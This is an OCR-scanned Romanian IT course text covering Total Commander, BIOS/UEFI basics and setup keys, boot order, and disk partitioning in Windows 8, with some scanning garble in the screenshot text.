procesul de instalare va incepe. Veti fi rugat sa selectectati limba pentru meniul programului.
In lista initiald oferitd la instalare nu existd si optiunea pentru limba romana, insi pe site-ul
www.ghisler.com veti putea descarca aceasta optiune.

2. Total Commander este shareware, adica va veti putea bucura de o perioada de o luna pentru a
incerca acest program. Veti beneficia de absolut toate functiile acestui program, singurul
dezavantaj fiind cd la pornire va trebui sd apasati un buton indicat aleator din cele trei
butoane ce vor apdrea pe ecran.

3. Dupa perioada de incercare, timp de o luna, pentru a putea continua sa folositi acest program,
trebuie sa achitati o taxa de 28 euro. Elevii si studentii vor beneficia de o reducere pe baza
unui act doveditor, iar pe baza acestei reduceri pretul va fi de 21 euro. Atentie! Numai
persoanele care posedd un card bancar vor putea comanda Total Commander. Interfata
acestui program este total diferitd de cea oferita de Windows Explorer, avand doua ferestre
una langa alta. Aceasta abordare va fi cunoscuta celor care au lucrat in Norton Commander.
Fiecare din cele doua ferestre va putea fi folosita separat pentru a accesa fisiere.

4. Ce este foarte util la folosirea a doua ferestre este faptul ca in acest fel se faciliteaza foarte
mult copierea sau mutarea unor fisiere dintr-un loc in altul pe hard-disk. Total Commander
ofera libertate totala de miscare, deoarece in cele doua ferestre poti lucra pe doua partitii
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10.

11.

12.

diferite sau, de exemplu, intr-o fereastra poti accesa un drive USB, iar in cealalta, fisierele de
pe un DVD.
Pentru cei pasionati de programare, Total Commander are o facilitate pe care acestia o vor
gasi extrem de utild. In partea de jos existd o linie de comanda de unde se pot rula
programele ce trebuie sd primeasca anumiti parametri de la utilizator.
Ce mi s-a parut extrem de interesant la acest program este felul in care trateaza lucrul cu
arhivele. Practic, acestea pot fi folosite ca niste directoare obisnuite: dai dublu click pe ele si
imediat ti se va afisa continutul. Mai frumos este faptul ca la utilizarea functiei de Search,
Total Commander va cauta inclusiv in interiorul arhivelor. Si nu numai ca va cauta in
interiorul arhivelor dupa nume de fisiere, dar vei putea cauta chiar si text in cadrul fisierelor
continute in arhive. Formatele de arhiva suportate sunt: zip, arj, lha, rar, uc2, tar, gz, cab, ace.
Datorita celor doua ferestre de care beneficiaza, Total Commander face copierea sau mutarea
de figiere dintr-un loc in altul sd fie extrem de usoard. Are butoane dedicate: F5 pentru
copiere si F6 pentru mutare.
Daca te afli in mijlocul unei copieri de fisier si vrei sa mai faci altceva, poti sa pui pauza la
copiere si ulterior sa reiei operatiunea de unde a ramas. Aceastd optiune mi se pare a
reprezenta un avantaj major fatd de concurentul Windows Explorer care va trebui sa reia
intreaga sarcind de la inceput.
Un alt avantaj major pe care il are Total Commander fatd de Windows Explorer il reprezinta
timpul de cautare. Am facut un mic experiment in care am cautat in cadrul unei partitii
acelasi fisier cu doua instante diferite, atat cu Total Commander, cat si cu Windows Explorer,
in paralel. Ce am observat a fost faptul cd programelul a zdrobit ca timp Windows Explorer-
ul, care, in momentul in care Total Commander terminase de cautat, nu gasise decat prima
instantd a figierului. Fisierul era unul audio, iar la cautarea cu Windows Explorer i-am
mentionat explicit cd are de cautat un asemenea tip de fisier.
Pentru conectarea la un server FTP vei gasi in meniul de sus un buton pentru FTP si apoi va
trebui sa introduci adresa serverului cu utilizatorul si parola, daca este cazul. Serverul FTP va
apdrea in una din cele doua ferestre ca si cand ar fi o partitie locala.
Total Commander vine in doud versiuni: una pe 16 biti si una pe 32 de biti. In oricare dintre
variantele de 32 de biti veti putea face drag&drop din si catre Windows Explorer sau
Desktop, veti putea trimite fisierele sterse in Recycle Bin si veti putea beneficia de acelasi
meniu pentru click-dreapta pe fisiere.
O multime de alte functii mai sunt disponibile, cum ar fi:

- Tree, care pune fisierele intr-o structura arborescenta;

- Synchronize Dirs, care compara doua directoare cu subdirectoarele lor si copiaza

fisierele mai noi din unul in celdlalt sau functia de comparare ce poate compara
continutul a doua figiere text.

Etapele de pre-instalare a unui SO

agbrwbnE

Pentru instalarea unui SO pe calculator avem nevoie de urmatoarele componente:

Un fisier cu SO dorit in format ISO (Windows 8.1 PRO x86 — x64 English.iso);

Un software care va permite arderea unui disc DVD (Ultra ISO, ImgBurn, Nero);

Un software care va permite inscrierea unui USB Flash (WinToFlash, Rufus, Ultra ISO);

Instalarea SO:

o Inserati DVD-ul/stick-ul de memorie pe care aveti stocat kit-ul de instalare al SO
Windows 8.1 in unitatea optica/USB si restartati notebook-ul.

o In timpul secventei de boot (boot screen), apasati tasta aferentd activarii meniului de boot
si selectati mediul de stocare (DVD/USB) de pe care doriti sa bootati.

Dupa efectuarea acestei operatiuni, toate fisierele necesare instalarii SO se vor incarca de pe
respectivul mediu de stocare.
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3. BIOS-ul. Notiuni generale. Lansarea programului de

configurare a BIOS-ului, modificarea si salvarea setarilor.

Obiective:

1. Relatarea notiunilor generale despre BIOS;
2. Determinarea metodelor de lansare, modificare, salvare a setarilor efectuate.

Cea mai importanta sarcina pe care o indeplineste BIOS-ul este sa faca tranzitia de la un gest
mecanic, cum ar fi apasarea butonului de pornire, la un nivel mai abstract, ca afisarea logo-ului
sistemului de operare pe ecran. Asta inseamna ca atunci cand porniti sistemul, BIOS-ul este
intotdeauna primul program care ruleaza. Sarcina sa este sa porneasca ventilatoarele, sa verifice
nivelurile de tensiune electrica din sistem, sa ruleze cateva teste rapide pentru a evalua starea
componentelor sistemului si apoi sd Incarce driverele si sd porneascd procesul de Incarcare a
sistemului de operare. Daca in timpul acestui proces apar anumite erori, BIOS-ul va afisa un
mesaj pentru a vi informa despre ceea ce a mers prost. In imaginea de mai jos puteti vedea un
exemplu de eroare posibila.

Inainte ca BIOS-ul si fie inventat in 1975 de citre Gary Arlen Kildall, sistemul de operare era
primul program care se executa atunci cand un sistem era pornit. Asta insemna ca acel calculator
putea rula doar sistemul de operare cu care era construit. De asemenea, in cazul in care sistemul
de operare ceda, intregul calculator devenea inutilizabil, deoarece niciun alt program nu il mai
putea repara. Asta deoarece nu avea cum sa ruleze Tnaintea sistemului de operare.

Utilizarea unui BIOS ofera un plus de flexibilitate, permitand utilizatorilor sa instaleze orice
sistem de operare doresc sau sa repare sistemul de operare curent daca apar erori.

3.1 BIOS-ul. Notiuni generale.

Ce este BIOS-ul?

BIOS-ul este un software de nivel scazut, fiind primul program ce ruleaza atunci cand porniti
calculatorul. Pentru a intelege mai bine ce inseamna software de nivel scazut, ar trebui sa stiti ca
programele instalate pe sistemul dvs, cum ar fi navigatorul de Internet, programele de redare
media sau programele din suita Office sunt programe de nivel inalt, deoarece interactioneaza cu
sistemul de operare. Sistemul de operare este un software de nivel mediu, deoarece
interactioneaza cu resursele sistemului prin drivere si prin BIOS. BIOS-ul este un software de
nivel scdzut deoarece controleazd in mod direct modul in care functioneaza componentele
calculatorului. 10S-ul ofera anumite servicii care permit utilizatorilor si programelor de nivel
mai inalt sd configureze setdrile componentelor calculatorului si sd primeascd informatii de la
acele componente. De exemplu, atat utilizatorul cit si programele instalate pot afla viteza de
rotatie a ventilatoarelor care se gasesc in calculator sau temperatura diverselor componente,
incluzand procesorul si placa video. Termenul BIOS este un acronim de la Basic Input/Output
System, care s-ar traduce astfel: Sistem de Intrare/lesire de Baza. Puteti sa il percepeti ca pe un
program care se ocupa de transferul de date dintre componentele hardware ale sistemului si
utilizator sau programele instalate pe sistemul respectiv.

Ce functii are BIOS-ul?

Pentru a intelege mai bine ce este BIOS, vom analiza functiile principale, care efectueaza
acest sistem.

+ Rularea si testarea hardware. BIOS-ul porneste imediat dupa pornirea calculatorului. Dupa
ce acest sistem este pornit, acesta va incepe rularea si verificarea altor functii a
calculatorului. Aceasta procedura se numeste POST (din limba engleza Power-On Self-Test,
testarea automata dupa pornire). In timpul acestei proceduri BIOS-ul verifica integritatea
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propriilor programe, testeaza performanta controlorilor de pe placa de baza, precum si
stabileste anumiti parametri. In cazul in care in timpul pornirii calculatorului s-au gasit erori,
pornirea calculatorului se va opri si pe ecran se va afisa informatii despre problema detectata.
In cazul in care informatia nu poate fi afisata pe ecran, atunci BIOS-ul va semnala printr-un
semnal sonor.

¢ Incarcarea sistemului de operare. Daca procedura de pornire si testare hardware se va
termina cu succes, BIOS-ul va trece la urmatoarea etapa — incarcarea sistemului de operare.
In setarile BIOS-ului se poate seta unitatea pentru incarcarea sistemului de operare.
Calculatoarele moderne pot porni de pe CD, hard disk sau stick USB. Mai mult decat atat,
utilizatorul poate seta mai multe unitati pentru pornire. In acest caz, BIOS-ul va incerca sa
incarce sistemul de operare de pe prima unitate, iar in caz de eroare va trece la urmatoarea
unitate.

¢ Drivere simple. BIOS-ul este echpat cu drivere simple pentru a comunica cu porturile
intrare/iesire, memorie si alte componente. Aceste capacitati sunt utilizate de sistemele de
operare la pornire sau erori.

%+ Configurarea de baza a calculatorului. BIOS-ul, de asemenea, ofera o interfata pentru a
face setarile de baza a calculatorului. Aceasta interfata este numita BIOS Setup, chiar cu
aceasta interfata cei mai multi utilizatori asociaza cuvantul BIOS. Aici utilizatorul poate seta
paramentrii, cum ar fi ora si data, activarea si dezactivarea componentelor integrate in placa
de baza, alegerea unitatii pentru a incarca sistemul de operare, frecventa de operare si
temperatura procesorului, etc. Pentru a intra in BIOS Setup se apasa tasta speciala pe
tastatura. De obicei aceasta tasta este Del, F1, F2 sau Esc.

Cum functioneaza BIOS-ul si cum putem interactiona cu el?

BIOS-ul este, in general, un program cu dimensiuni relativ mici, cu o marime de cel mult 16
MO. BIOS-urile moderne au o interfatd pentru utilizator, numita Setup Utility (utilitar de
configurare), unde utilizatorul poate configura anumite setari hardware. Pe laptopuri si tablete
existd versiuni mai simple de BIOS, unde utilizatorul poate seta doar timpul curent si alte setari
minore, cum ar fi ordinea de incarcare a dispozitivelor de stocare.

Pe plécile de bazd mai avansate, cum sunt cele din calculatoarele desktop, BIOS-ul oferd mai
multe optiuni, cum ar fi modificarea frecventei sau a voltajului procesorului, cantitatea de
memorie partajatd Intre procesor si placa video, latenta memoriei RAM si altele.

Configurarea unui BIOS avansat poate fi periculoasa daca utilizatorul nu stie exact efectul
fiecarei setari si alege valori gresite pentru acestea, deoarece componentele unui sistem au
anumite limite. De exemplu, setarea frecventei procesorului la o valoare foarte mare poate sa il
facd sd se supraincalzeascd, provocand astfel calculatorul sd se reporneasca fard oprire. Pentru a
va asigura cd modificarile pe care le faceti sunt sigure, configurati setdrile BIOS-ului doar dupa
consultarea manualului sistemului si asigurati-va ca sunteti familiar cu setarile hardware pe care
le modificati dar si limitele fiecarei componente.

Cum se configureaza BIOS-ul?

Pentru inceput vreau sa specific, ca nu la orice utilizator BIOS-ul este la fel, unele functii pot
fi diferite, se afla in alte categorii sau chiar lipsesc. Cu toate acestea, principiul descris in acest
articol este disponibil in orice versiune BIOS, lansata in ziua de astazi.

Producatorii BIOS-ului cel mai des intalniti sunt:

e BIOS American Megatrends (AMI)

e BIOS Phoenix Award
Pentru a intra in BIOS ”"American Megatrends (AMI)” trebuie imediat dupa pornirea
calculatorlui sa apesi tasta F2 sau F10 de pe tastatura. In cazul in care ai ”Phoenix Award” va
trebui sa apesi tasta ”Del”. Setarile descrise in acest articol se vor face pe BIOS ”Phoenix
Award”. Intrand in BIOS, in partea de jos putem vedea cu ce taste putem modifica setarile
BIOS-ului si ce tasta sa folosim pentru a iesi si salva setarile modificate. Daca ai schimbat ceva
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si vrei sa revii la setarile implicite, va trebui sa alegi functia «Load Optimized Defaulty. Aceasta
functie iti va permite sa te intorci la setarile optime si functionale a BIOS-ului.

Ce este Dual-BIOS?

BIOS-ul se afla pe placa de baza sub forma unui cip de memorie Read-Only (memorie ce
poate fi doar citita nu si suprascrisa). Programul stocat pe aceastd memorie este creat de
producatorul placii de baza. Daca acest cip de memorie se poate strica, BIOS-ul nu mai poate fi
incarcat si placa de baza nu mai poate fi utilizatd. De aceea, unii producatori de placi de baza
folosesc un sistem Dual-BIOS pentru placile de baza moderne.

Dual-BIOS inseamna ca existd doua cipuri de memorie care stocheaza BIOS-ul: unul
stocheazd BIOS-ul principal si celalalt BIOS-ul de rezervd. In cazul in care BIOS-ul principal
cedeaza, sunteti rugat sa reporniti calculatorul si BIOS-ul de rezerva este folosit pentru a incérca
sistemul.

Ce este UEFI si care este legatura dintre el si BIOS?

UEFI este un program ce poate fi privit ca un BIOS modern si mai puternic. Are acelasi rol ca
si BIOS-ul 1nsd are si unele avantaje fatd de acesta, cum ar fi criptarea, diagnosticarea la distanta
si repararea calculatorului, chiar daca sistemul nu are un sistem de operare instalat. Acest tip de
BIOS a fost inventat de Intel si a fost lansat in 2005.

UEFI a devenit popular dupa lansarea sistemului de operare Windows 8, deoarece a fost
primul sistem de operare cu un numar mare de utilizatori care a oferit suport nativ pentru UEFIL.
Ca orice BIOS traditional, UEFI este personalizat de catre producatorul placii de baza pe care o
folositi. In cazul tabletelor si al laptopurilor, UEFI va afisa un numir redus de setari. in imaginea
alaturati puteti vedea cum aratid acesta pe tableta Surface Pro 2 de la Microsoft. In cazul
calculatoarelor, UEFI va afisa mai multe setari decat cele gasite pe un BIOS normal.

De ce BIOS joaca un rol important in functionarea intregului sistem? In primul rand, BIOS
testeaza intregul sistem inainte de incarcarea sistemului de operare Windows, si daca ceva nu
este in regula, cu ajutorul semnalelor sonore va determina motivul pentru care nu porneste
calculatorul. In al doilea rand, setarile simple permit accelerarea calculatorului, accelerarea
incarcarii sistemului de operare, aflarea erorilor si extinderea functionalitatii placii de baza.

3.2 BIOS-ul. Lansarea programului de configurare a BIOS-ului, modificarea
si salvarea setarilor.

Cum accesiam BIOS-ul ?

BIOS-ul poate fi accesat si configurat prin intermediul softului de configurare, cunoscut

adesea ca BIOS Setup Utility. BIOS Setup Utility este de fapt insusi BIOS-ul. Toate optiunile
privind functionarea BIOS-ului sunt accesibile prin BIOS Setup Utility.
De regula accesezi BIOS-ul pentru a modifica unele reglaje, cum ar fi cele legate de memorie,
procesor, sau unitdti de disc. Mai poate fi vorba despre schimbarea ordinii de boot sau despre
infiintarea/modificarea parolei de BIOS. Accesarea BIOS-ului se face apasind o tastd sau o
combinatie de taste.

Vom parcurge acest proces in citeva etape simple.

1. Porneste PC-ul sau reporneste-1 daca este deja pornit.

2. Fii atent pe ecran la mesajele afisate imediat dupa pornire. De regula se afiseaza chiar
tastele de apasat pentru a intra in BIOS, pentru a schimba ordinea unitétilor la boot, sau
pentru accesarea diferitelor utilitati.Iatd citeva mesaje frecvent intilnite pentru accesarea
BIOS-ului.

o Press [nume tasta] to enter setup
o Setup: [nume tastd]
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Enter BIOS by pressing [nume tasta]

Press [nume tastd] to enter BIOS setup

Press [nume tastd] to access BIOS

o Press [nume tastd] to access system configuration

3. Apasa imediat tasta sau tastele corespunzdtoare din mesajul de pe PC-ul tdu pentur a intra
in BIOS.
Nota: Uneori poate fi necesar sa apesi de mai multe ori tasta/combinatia pentru a intra n
BIOS. Nu o tine apdsatd permanent i nu apasa prea des/repede, pentru cd este posibil ca
sistemul sa se blocheze sau sa se opreasca din boot. Daca totusi se intimpla, reseteaza
PC-ul si incearcd iar.Daca nu reusesti sa vezi in timp util mesajul la pornire, poti folosi
lista de mai jos pentru tipurile enumerate.

o O O

Fiecare placa de baza are un producator BIOS, asa ca, daca nici una dintre sugestiile de mai sus
nu iti sunt de folos, poti Incerca sa identifici placa de baza mai jos si sa folosesti comanda
corespunzatoare. La pornirea PC-ului priveste in partea superioara a ecranului, si vei afla
tipul/producatorul BIOS-ului, dupa logo-ul care apare, sau dupa text, in partea inferioara a
ecranului. Dupa identificarea tipului/producatorului BIOS-ului, cauta-I in lista de mai jos si
foloseste tastele/combinatiile enumerate.

AMI (American Megatrends) — AMIBIOS, AMI BIOS

e Apasa Del la pornire.

e Unele placi de baza mai vechi care au AMIBIOS pot cere tasta F1 sau F2 in loc de Del.
Award Software (acum Phoenix Technologies) — AwardBIOS, Award BIOS

e Apasa Del pe majoritatea placilor de baza cu AwardBIOS.

e Unele sisteme mai vechi cu BIOS Award cer Ctrl+Alt+Esc pentru intrarea in BIOS.
DTK (Datatech Enterprises) — DTK BIOS

e Apasa tasta EsC pentru a intra in BIOS, imediat dupa pornirea sistemului.
Microid Research — MR BIOS

e Apasa F1 pentru intrarea in BIOS setup utility.
Phoenix Technologies — Phoenix BIOS, Phoenix-Award BIOS

e Apasa Del imediat dupa pornirea sistemului.

e Multe sisteme mai vechi cu BIOS-uri Phoenix mai vechi

cer Ctrl+Alt+Esc, Ctrl+Alt+Ins, sau Ctrl+Alt+S pentru accesarea BIOS-ului.

Daca tot nu ai reusit sa intri in BIOS sau nu reusesti sa depistezi producatorul BIOS-ului sau al
placii de baza, incearca pe rind comenzile urmatoare:

e F3 e Ctrl+Alt+Del

e F4 e Ctrl+Alt+Shift+Del
« F10 o Del din dreapta

e F12 e Ctrl+Insert

e Tab e Ctrl+Shift+Esc

e Ctrl+Alt+F3 e Fn+[,F1-F127]

Care este de fapt rolul BIOS-ului ?

B1OS-ul contine un numar de optiuni de configurare care pot fi modificate cu ajutorul softului
de configurare continut in BIOS. Salvarea acestor setdri si repornirea sistemului aplica
modificarile in BIOS si influenteazd modul in care BIOS-ul comandd functionarea
componentelor hardware din sistem. Toate BIOS-urile placilor de baza moderne contin utilitare
de configurare a sistemului. Accesarea si configurarea BIOS-ului este independenta de sistemul
de operare, pentru ca BIOS-ul este integrat Tn memoria unei componente de pe placa de baza.
Daca s-au strecurat erori in aceasta listd sau dacad ai Intilnit si alte tipuri de BIOS, sau alte
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modalitdti de accesare, te rog sd le treci la comentarii, iar eu voi actualiza articolul dupa
verificarea lor.
Ordinea de Boot, memoria video, salvarea, resetarea si cele mai bune setari implicite.
BIOS-ul (basic input/output system) este programul primar ce porneste la deschiderea
calculatorului. Acesta ruleaza un POST ((power-on self test) un test de identificare a
perifericelor atasate, initializeazd hardware-ul computerului si trece controlul incarcédtorului de
boot unui dispozitiv conectat. Apoi incarcatorul de boot porneste sistemul de operare —
Windows, Linux sau oricare altul folositi. BIOS-ul are un ecran de setari care este folosit pentru
a configura diferite setari primare de sistem. Bagati de seama ca nu trebuie sa modificati nimic in
setarile BIOS-ului daca nu stiti ce faceti. Vom parcurge impreunad cateva din cele mai cele mai
des folosite setari.

Accesare BIOS-ului. Trebuie sa reporniti calculatorul pentru a putea accesa BIOS-ul. Apasati
tasta potrivita in timpul procesului de bootare (uneori, atunci cand apare pe ecran logo-ul
producatorului) si va aparea ecranul de configurare a BIOS-ului. Tasta pe care trebuie sa o
apasati este deseori indicatd pe ecran la inceputul procesului de boot. In mod obisnuit aceasta
este Delete, alte computere folosesc tasta F2, Escape, F1 sau F10. Daca nu stiti care tasta trebuie
sa apasati atunci consultati manualul calculatorului dvs sau cautati pe Google dupd modelul
computerului dvs, tasta de BIOS. De remarcat ca noile computere care vin cu Windows 8 au
UEFI firmware in locul traditionalului BIOS. Acesta are acelasi scop ca si Bios-ul, doar ca se
acceseaza prin intermediul Windows-ului.

Navigarea prin BIOS. Tineti minte ca BIOS-ul fiecarui computer este diferit. BIOS-ul
computerului dvs. poate sa arate diferit de imaginile din acest articol sau poate sd fie asemanator
dar sa aiba alte optiuni. Va trebui sa folositi tastatura pentru a naviga prin BIOS. Ar trebui sa
vedeti afisati pe ecran o listd cu tastele folosite. In general, se folosesc tastele directionale
stanga-dreapta pentru a naviga intre ecranele de setdri (denumirea ecranelor este de obicei afisata
in partea de sus a acestora), tastele sus-jos se folosesc pentru a selecta optiunile pe ecranul
curent, cu tasta Enter se selecteaza o optiune sau se intra intr-un submeniu. Pentru a schimba
ordinea unei liste se foloseste tastele + si — (plus si minus) care miscd elementele unei liste in sus
st in jos. Sund un pic complicat, dar nu este. Cel mai des veti folosi tasta Enter si tastele
directionale.

Ordinea de Boot-are. Optiunea schimbata cel mai des in Bios este Ordinea de bootare (Boot
Order). Dupad ce BIOS-ul porneste si initializeazd componentele, acesta preda controlul unui
incdrcator de programe care porneste sistemul dvs de operare. Ordinea de boot-are determina
carui dispozitiv 1i preda Bios-ul controlul. De exemplu sd spunem ca aveti instalat pe harddisk-
ul calculatorul dvs Windows, un cd Live cu Linux in unitatea optica si un sistem hackintosh
instalat pe un USB conectat la calculator. La pornirea calculatorului care din ele va porni?
Raspunsul este determinat de ordinea de bootare. Se numeste ordine de bootare pentru ca aceasta
controleazd ordinea in care fiecare dispozitiv de incdrcare a programelor este verificat. De
exemplu, un computer obisnuit poate avea o unitate dvd mai sus in ordinea de boot-are decat
harddisk-ul. Asta inseamna ca pc-ul va incerca sa booteze prima data de pe orice cd sau dvd se
afld 1n unitatea optica. Dacd nu géseste nici un cd sau dvd boot-abil in unitatea optica atunci va
merge la urmatorul dispozitiv din lista, care ar fi in exemplul nostru harddisk-ul. Daca dorim ca
pc-ul sa booteze de pa alt dispozitiv — cum ar fi o unitate DVD, USB sau o locatie de pe retea —
trebuie sd mutdm dispozitivul mai sus in lista de bootare. Ordinea de bootare se gdseste in
general in ecranul cu denumirea BOOT sau ceva asemanator. Folositi + si — pentru a rearanja
pozitia dispozitivelor in lista de bootare. De stiut ca la unele computere dispozitivul USB nu
apare 1n lista de bootare daca nu este conectat la calculator in momentul accesarii BIOS-ului.
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Memoria video. Computerele cu placa grafica on-board pot avea o optiune de setare a memoriei
video. Placa grafica on-board, nu are o memorie video dedicatd asa cum au placile grafice
separate. Ele preiau din memoria de RAM o parte si o folosesc ca si memorie video. La unele
calculatoare, optiunea de Memorie Video permite controlul asupra marimii memoriei alocate.
Puteti aloca mai multd memorie placii video sau puteti reduce din valoare memoriei de RAM
alocate partii video, redirectionand-0 spre alte sarcini ale sistemului.

Parola BIOS-ului. In general puteti configura o parold pentru BIOS din ecranul de securitate.
Parola poate fi folositd pentru a proteja accesul nedorit la BIOS. Se mai poate configura si o
parold pentru a boota computerul. Aceastd parola este cerutd imediat cum se deschide
computerul — daca cineva nu cunoaste parola nu poate porni computerul pentru a ajunge la
ecranul de logare in Windows. Acesta utilitate este mai puternica de cat simpla parolare din
Windows: ea interzice oricui s booteze orice sistem de operare de pe orice dispozitiv detasabil.
In orice caz, cineva care are acces fizic la computerul dvs poate reseta CMOS pentru a sterge
aceastd parola, asadar nu va proteja calculatorul daca acesta este furat si hotul chiar doreste sa
inlature parola.

Salvarea sau inlaturarea modificarilor. Schimbarile pe care le faceti in setarile Bios-ul nu
afecteazd imediat computerul. Pentru a salva modificarile facute trebuie sa intrati in ecranul
numit Save& Exit.Aceastd optiune salveaza modificarile facute si reseteaza computerul. Mai
existd de semenea si o optiune de inlaturare a modificarilor si iesire (Discard Changes and Exit)
Daca ati facut o greseald de configurare sau decideti ca nu doriti sd modificati Bios-ul puteti
folosi aceasta optiune pentru a iesi din Bios fara sa salvati nici o modificare.

Valori predefinite optime. Bios-ul contine o optiune numit Load Setup Defaults (Incarca valorile
predefinite) sau Load Optimized Defaults (Incarci valorile predefinite optimale). Aceastd
optiune aduce setarile Bios-ului la cele din fabrica, incarcand setarile optimizate pentru
componentele computerului dvs. Aceasta ruleaza o reinitializare completa a setarilor Bios-ului,
stergand parola de bios precum si reinitializand ordinea de bootare.

Alte optiuni. Bios-ul contine si alte optiuni. De exemplu, exista un ecran de Informatii De
Sistemcarea prezintd informatii despre componentele din calculatorul dvs. Overclockerii pot
folosi optiunile procesorului pentru a modifica voltajul acestuia, crescand astfel performanta lui
cu pretul unei cresteri de temperaturd, consum de curent mai mare si posibila instabilitate. (in
orice caz, in unele Bios-uri aceste setdri sunt blocate.) Nu ar trebui sa modificati aceste setari
daca nu stiti exact ce faceti, dar daca trebuie sa modificati unele setari din Bios, cum ar fi ordinea
de bootare, atunci trebuie sa stiti cum se face.
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4. Partitionarea HDD/SSD/SSHD. Proceduri de instalare a SO.

Instalarea propriu zisa a SO.

Obiective:

1. Identificarea aplicatiilor de poartitionare a HDD-lui;
2. Distingerea tipurilor de partitii: primare si extinse;
3. Utilizarea discrilor logice;
4. Determinarea procedurilor de instalare a SO:

a) Instalare pe curat;

b) Upgrade de la un SO mai vechi;

c) Instalarea mai multor SO pe acelasii calculator;

4.1 Partitionare HDD/SSD/SSHD

Partitionarea este unul din pasii necesari pregatirii unui HDD pentru utilizare. Necesitatea
acestei operatiuni reiese din faptul ca fiecare SO sau familie de SO foloseste un anumit tip de
sistem de figiere. Aceste sisteme de fisiere, fie ele FAT16, FAT32, NTFS, EXT2, EXT3, etc.
sunt organizate sub forma de partitii (parti din HDD), care ocupa spatiul disponibil de pe HDD.

Necesitatea formatarii

Cind cumparam un HDD, acesta vine nepartitionat. Pentru a pregati lucrul cu el, trebuie sa
definim modul in care vrem sa fie repartizat spatiul disponibil. Toate HDD-urile trebuie
partitionate. Prin partitionare putem transforma o unitate fizica in doud sau mai multe unitati de
disc virtuale, lucru foarte util pentru instalarea unui SO cum ar fi Windows-ul. Fiecarei partitii,
sau volum, SO 1i va atribui o litera.

SO Windows permit lucrul cu un maxim de 24 partitii, fie ca sunt facute pe un singur disc, fie
ca sunt intinse pe mai multe discuri, cum este cazul matricelor RAID. Aceastd limitare provine
de la modalitatea de numirea a discurilor, prin literele alfabetului, incepand de la C: si terminind
cu Z:. Dimensiunile partitiilor trebuie adaptate la tipul de sistem de fisiere pe care vrei sa il
utilizezi, iar acesta depinde de sistemul tdu de operare.

Daca sistemele moderne de fisiere, precum NTFS s1 FAT32 permit dimensiuni ale partitiilor
cu mult peste capacitdtile actuale ale unitatilor de stocare. Dacd cel mai mare HDD IDE produs
la ora actuala este de 300GB, limita de dimensiune pentru o partitie FAT32 sau NTFS este de 2
Terra Bytes, adica 2000GB. Mai vechiul FAT16 are insa o limitare de doar 2GB ca dimensiune
maxima.

Tipuri de partitii
Dacd avem un HDD mare si dorim sd instam pe el un SO, trebuie sd stim cd o partitionare
buna la inceput ne poate scuti de o serie de probleme dupa aceea. Multd lume prefera sa aloce tot
spatiul intr-o singura partitie, in care sa pastreze atat SO, cat si fisierele cu care lucreaza. Dar
aceastd practici ne expune unor riscuri. In cazul defectirii partitiei, lucru care se poate intampla
destul de rar, riscam sa pierdem toatd informatia de pe HDD.
Se recomanda de facut o partitie pentru SO si pentru celelalte programe instalate, si una sau
mai multe pentru a-ti pastra celelalte fisiere.
% In primul rind, fisierele vor fi in sigurantd in cazul deteriorarii partitiei ce contine SO,
deoarece aceasta are cele mai mari sanse sa se defecteze.
¢ In al doilea rind, lucrul cu fisiere de zi cu zi, fie ele filme, muzica, jocuri sau documente duce
inevitabil la fragmentarea discului. Prin solutia cu doua partitii se evita fragmentarea partitiei
ce contine sistemul de operare, un factor important de scadere a performantei calculatoarelor.
Partitiile pentru SO Windows pot fi de trei feluri. Partitii DOS primare, partitii DOS extinse si
discuri logice DOS.
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% Partitia DOS primara este cea pe care trebuie instalat SO, singura de pe care calculatorul
poate face boot, si 1 se atribuie faimoasa litera C:.

% Partitia DOS extinsa este o partitie ce este destinata gazduirii discurilor logice DOS. Partitiei
DOS extinse nu i se atribuie nici o literd, deoarece nu este vizibila din SO.

¢ Discurile logice DOS sunt unitati de disc virtuale, care din punct de vedere al SO se
comporta ca unitati separate de disc. Acestora li se atribuie cate o litera, de la D:.

Partitionarea unui HDD in Windows 8
Partitionarea reprezinta activitatea de separare a spatiului unui HDD 1in diferite unitati de
stocare. Fiecare unitate de stocare este cunoscuta drept o partitie sau volum. Partitionarea este o
caracteristica foarte folositoare pentru ca extinde semnificant de mult functionalitatea unui HDD.
De exemplu, prin partitionarea HDD-ului putem instala mai multe sisteme de operare (dual
boot). Partitionarea HDD-ului in Windows 8 este foarte usoara.

Diminuarea unei partitii existente
Dam click dreapta in coltul din stinga jos, iar apoi selectam ,,Disk Management”. Acesta este
un utilitar pus la dispozitie de SO, care permite configurarea si partitionarea HDD-ului.

Programs and Features
Power Options

Event Viewer

Systemn

Device Manager ‘
Disk Management
Computer Management
Command Prompt

Command Prompt (Admin)

Task Manager
Control Panel
File Explorer
Search

Aun

Desktop

Pentru a crea o noua partitie, trebuie sa avem un spatiu nealocat (un spatiu care nu este
formatat). Putem face aceasta prin diminuarea (restrangerea) dimensiunii partitiei principale.
Dam un click dreapta pe partitia principala si selectam ,,shrink volume”. Apoi, Windows-ul va
scana HDD-ul de spatiu disponibil pentru a fi diminuat.
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File Action View Help

¢ T HFE RS a R

Volume l Layout I Type l File System I Status
o Windows 8 (C:) Simple Basic NTFS Healthy (S...
LQ‘QWTLIBHE (F) Simple Basic CDFS Healthy (P...

4Disk 0 : -
Basic 'Windows 8 (C)
298.09 GB 1298.09 GB NTFS ;

Online “Healthy (System, Boot, Page File, Active, Crash Dump, P
! / 7 I

B Unallocated |l Prima Open
| Explore

Mark Partition as Active
Change Drive Letter and Paths...

Format...

Extend Veolume...

Shrink Velume...

Add Mirror... k

Delete Volume...
Properties

Help

Introducem valoarea pe care dorim s-o diminuam (in Megabytes). Dupa ce am introdus o
anumita valoare, apasam ,,Shrink™ pentru a crea un spatiu nealocat.

Total size before shrink in MB: 305243

Size of available shrink space in MB: 133824
Enter the amount of space to shrink in MB: 1 * “0001

Total size after shrink in MB: 304243

i ' You cannot shrink a volume beyond the point where any unmovable files are located.
See the "defrag” event in the Application log for detailed information about the
operation when it has completed.

See Shrink a Basic Volume in Disk Management help for more information.

2 =P s Cancel
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Crearea unei noi partitii
Pentru a crea o noua partitie, facem click regiunea spatiului nealocat si selectam ,,new simple
volume”. Regiunea spatiului nealocat este reprezentata de un bloc intunecat.

File Action View Help

e T HE SR

Volume I Layout l Type File System Status
—»Windows 8 (C:) Simple Basic NTFS Healthy (
S WTLIB12E (F3) Simple Basic CDFS Healthy (

>

~
L4Disk 0 — R

' |

Basic Windows 8 (C) |
293-'09 GB 297.11 GB NTFS {1001 MB
Online Healthy (System, Boot, Page File ‘iyp,?!!qc,,aﬁe,d,._,. A u
'l Unallocated Bl Primary partition } New Simple Volume...

New Spanned Volume... k

New Striped Volume...
New Mirrored Volume...

New RAID-5 Volume...

Properties

Help

